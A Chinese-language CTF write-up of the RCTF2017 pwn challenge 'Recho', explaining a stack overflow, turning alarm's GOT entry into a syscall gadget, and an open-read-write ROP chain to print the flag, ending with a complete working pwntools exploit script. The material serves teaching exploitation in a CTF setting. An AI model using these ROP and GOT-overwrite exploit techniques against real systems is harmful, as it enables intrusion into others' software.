write up --RCTF2017 Recho
RCTF2017的一题pwn题,之所以把这一题分享给大家是因为,这一题不像我们想象的那样简单,RCTF的质量还是很高的,接下来我们来看看这一题。
Recho
可以看到只有一个栈不可执行的保护。
分析
可以看到这一题的漏洞点是很明显的,我刚开始想的是直接rop梭哈了,但是等我exp一半的时候,发现while里的read函数的返回值一直都是真,所以这个循环一直都是出不去的,那这不完犊子了吗。
这该咋解啊,出题人这么阴间的吗?在Linux上我们可以直接Ctrl+D结束我们的输入,但是我们打远程这种情况就莫得办法了呀。
然后就看了一些大佬的write up,发现pwntools里面有个函数shutdown函数可以强行的去结束获取输入,这样就可以结束这个循环了。
但是这样结束的话就不能进行ROP了,那这样我们还怎么泄漏libc基址来攻击呢?
这样我们就得重新分析了,我们再来看一看IDA的反编译代码看看还有什么可以利用。
溢出的漏洞已经有了
有上图的这些函数可以用
可以看到data段有个flag,那么也就是说,对应的远程主机上有这么一串flag只要我们能读取并输出即可。
这两个有用的信息一结合,在使用之前我做到的一题存在沙箱的一题,我一下就明白了,大佬们的思想,使用orw来把flag输出出来。
那你可能会问了这程序也没调用过open函数啊,你咋用open打开flag文本呢?
小了,我只能说小伙子你思考的范围小了,老夫给你看一样东西glibc源码,看完你就懂了。
小伙子你看好了老夫只教你一遍
这里可以看到alarm加上5的地方就是64位的系统调用syscall的地址。
在我们学习系统调用的时候是不是学到过,把相应的系统调用号放到rax(eax)寄存器中,然后使用syscall来进行系统调用。
然后看着一段汇编代码,先来了解一下al寄存器,首先在x86系统下的通用寄存器中有一个eax一般是用来保存返回值的,eax的低十六位是ax寄存器,而ax又分为高八位和低八位,而al寄存器正好是ax寄存器的低八位。
如果rdi寄存器中存的是alarm的got表,那利用这段汇编代码,使rdi里的地址再加上5,那rdi里的地址不就是syscall的首部了吗?
那这样我们调用alarm函数是不是就相当于是调用syscall
这样我们就有了syscall,那我们在找一个pop eax(rax)不就能想用什么系统调用自己就能实现什么系统调用了吗。
这样缺少open函数的问题就解决了,那么就可以使用orw来读取对应的远程主机的flag,然后将flag输出出来了。
那么我们打开flag文本进行读取,该读到什么地方呢?
我们可以读到bss段啊对吧,bss段也是可读可写的段,这样一来,我们就可以使用open打开flag的文本,把其中的内容read到bss段的某处,然后利用printf函数将flag里的内容输出出来。
可用的bss
我们来重新的捋一捋攻击的过程
利用有用的信息将alarm表里的内容改为syscall的首部,从而实现调用alarm函数就是调用syscall。
利用open函数打开远程主机的flag文本,然后使用read函数将flag的内容读取到bss段的某个位置。
然后利用printf函数将这段内容输出。
(当然我们还需要使用ROPgadget工具来找到可以被我们利用的pop rdi ,pop eax,pop rsi,pop rdx等等)
接下来就可以编写exp了。
exp
#encoding=utf-8
from pwn import *
p = process("./pwn")
elf = ELF("./pwn")
# libc = ELF("./libc_64.so.6")
# libc = elf.libc
context(log_level = 'debug')
add_rdi = p64(0x40070d)
bss_addr = p64(0x601080)
flag_addr = p64(0x601058)
pop_rax_ret = p64(0x4006fc)
pop_rdi_ret = p64(0x4008A3)
pop_rsi_r15_ret = p64(0x4008a1)
pop_rdx_ret = p64(0x4006fe)
alarm_got = p64(elf.got['alarm'])
syscall = p64(elf.plt['alarm'])
printf = p64(elf.plt['printf'])
read = p64(elf.plt['read'])
p.recvuntil("Welcome to Recho server!\n")
p.sendline(str(0x200))
# alarm -> syscall
pl = 'a'*0x38
pl += pop_rdi_ret + alarm_got
pl += pop_rax_ret + p64(5)
pl += add_rdi
# fd = open(flag, READONLY);
pl += pop_rsi_r15_ret + p64(0) + p64(0)
pl += pop_rdi_ret + flag_addr
pl += pop_rax_ret + p64(2) + syscall
# read(fd, bss_addr, 0x100)
pl += pop_rdi_ret + p64(3)
pl += pop_rsi_r15_ret + bss_addr + p64(0)
pl += pop_rdx_ret + p64(0x100) + read
# printf(bss_addr)
pl += pop_rdi_ret + bss_addr + printf
pl = pl.ljust(0x200, "\x00")
p.sendline(pl)
p.shutdown("write")
p.interactive()